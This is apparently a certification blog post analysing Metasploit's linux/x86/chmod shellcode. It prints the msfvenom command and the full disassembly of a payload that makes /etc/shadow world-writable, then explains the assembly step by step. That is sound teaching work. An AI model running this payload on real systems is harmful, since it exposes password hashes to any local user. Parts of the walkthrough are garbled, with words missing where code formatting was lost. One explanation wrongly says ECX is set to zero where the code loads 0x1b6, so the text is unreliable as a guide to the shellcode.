Our goal will be to analyze the
linux/x86/chmod payload that comes bundled with Metasploit. In order to do so, we will use ndisasm to disassemble it.
First, we will check out which options are needed to generate a sample with
root@kali:~# msfvenom -p linux/x86/chmod --payload-options Options for payload/linux/x86/chmod: Name: Linux Chmod Module: payload/linux/x86/chmod Platform: Linux Arch: x86 Needs Admin: No Total size: 36 Rank: Normal Provided by: kris katterjohn <firstname.lastname@example.org> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILE /etc/shadow yes Filename to chmod MODE 0666 yes File mode (octal) Description: Runs chmod on specified file with specified mode Advanced options for payload/linux/x86/chmod: ...
Therefore, we can directly use the default options for our demonstration purposes.
We can then generate the payload with msfvenom and pipe it to ndisasm by using the following command:
root@kali:~# msfvenom -p linux/x86/chmod -f raw | ndisasm -u - No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 36 bytes 00000000 99 cdq 00000001 6A0F push byte +0xf 00000003 58 pop eax 00000004 52 push edx 00000005 E80C000000 call 0x16 0000000A 2F das 0000000B 657463 gs jz 0x71 0000000E 2F das 0000000F 7368 jnc 0x79 00000011 61 popa 00000012 646F fs outsd 00000014 7700 ja 0x16 00000016 5B pop ebx 00000017 68B6010000 push dword 0x1b6 0000001C 59 pop ecx 0000001D CD80 int 0x80 0000001F 6A01 push byte +0x1 00000021 58 pop eax 00000022 CD80 int 0x80
Ndisasm has given us the x86 assembly representation of the generated shellcode. Let’s analyze it in chunks.
cdq push byte +0xf pop eax push edx call 0x16
The first instruction
cdq will copy the sign bit (31) in
EAX to all the positions in
EDX. Supposing that
EAX is positive, then this will effectively zero out
push sequence sets
EAX to 0xF (syscall for
chmod()) and sets the top of the stack to zero.
call instruction will move the execution to offset
0x16, but note that before that position the instructions shown make no sense. We print those bytes and find that there we have the file
chmod will be called on.
root@kali:~# echo -e "\x2F\x65\x74\x63\x2F\x73\x68\x61\x64\x6F\x77\x00" /etc/shadow
We continue with the following instructions:
pop ebx push dword 0x1b6 pop ecx int 0x80
EBX to the address where the
/etc/shadow string starts (since the previously executed
call instruction pushes the return address into the stack), and the following
push sequence sets
0x1b6 (0666 in octal, the umask that defines our permissions).
pop ecx will set
ECX to zero (as this value was pushed into the stack beforehand).
int 0x80 will execute the
chmod (as defined by
EAX) system call with arguments defined by
/etc/shadow/ and 0666 respectively.
The only thing left now is gracefully exit to avoid executing reaching addresses with invalid instructions that would make our program crash:
push byte +0x1 pop eax int 0x80
This saves the syscall number (1 in for
EAX and executes the syscall, exiting our program.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-964